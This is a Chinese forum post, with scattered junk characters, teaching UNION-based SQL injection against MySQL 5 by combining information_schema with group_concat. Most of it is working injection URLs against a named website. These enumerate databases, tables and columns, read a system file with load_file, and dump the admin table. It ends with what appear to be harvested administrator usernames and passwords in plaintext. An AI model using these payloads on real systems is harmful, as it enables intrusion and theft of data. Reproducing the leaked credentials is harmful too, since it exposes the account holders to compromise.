此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似. h# r, p& |1 n* N6 _5 J3 P
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人6 Q+ `' D; R4 F$ ~8 A% V$ k* m9 l
0 e' O$ L2 k {( u' ^: z
9 J; c. m, A# Z- v+ K( Q优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
" ?1 i' e2 o3 T) Y" ?
* I! A9 q5 A# `缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...4 |/ Y$ K$ g7 B, u
* g) [ ]4 g% c
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
9 V1 @) t: j4 D- d' @0 F, f在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等
8 ?! S- C/ ?3 E, c z, ~; {$ i' S* V2 d, ~; Z- c& c, {. b7 F3 \ j2 }
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
, F1 z5 f+ ^7 w$ m1 c8 `: I. ]/ H% n; } j- ]8 d% ^ @
读出所有库:
6 u' K( M4 i: c( F$ o9 jhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
1 e+ K1 ^# ~! I# g `& G+ l4 ~( t) }. g- G$ S
4 U' f- N# Y7 P" U! G. H9 g4 z% y2 O
6 N& u6 x' f3 r读出所有表: g- p) I5 N3 t
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()3 y% ^, r" U# x# [
+ u+ Z$ m+ I+ F5 [4 k) M
读出所有表字段:
! ~. c1 e4 K+ g! ^+ M: J5 v/ khttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)* N" }8 ]% t6 g9 _1 M+ \ _7 `7 C; [
*/ (97,100,109,105,110)为admin的ascii码 依次类推, L& w- \ E0 v) [* g9 m
8 \( Q7 p* t3 x) W+ j读出所有表字段里的内容:
$ }2 O( n" N1 i( e7 e7 M" f0 V& [http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin9 g+ Z l% H" y; A
7 G" p" O' c0 x: \/ H+ b0 k
" B2 J5 `/ T6 L' j. X
: r+ {0 _; N: e2 [1 Y5 |$ W
0 Y3 [* z ^. `9 D+ ^
8 G. t3 d. m' q7 V: W3 ?5 v3 Z7 y/ r5 V7 q- z# O
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%234 C4 a- i( S! q
" u( ?% m( s7 Y& r, I0 ~+ I2 Z7 O" m6 }2 {2 S# N; Y
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
" Q9 x; X5 S/ v1 Q
' p4 M* Y' c$ I! Q8 X3 }3 H/ b/ U Dhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%239 O, H! M! e0 _" j
8 ?2 o2 k0 ]$ R, c( v: R. v1 S8 U( v( Z
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%235 `4 @2 _% B# H
7 ^! ^: X8 _2 @8 S6 z, I% U" h
: O0 P$ f5 y& a: m; Q/ @$ K webmaster:dzb521123,simlab:simadmin20043233
7 n* v9 w4 j( R {& Z1 B8 M |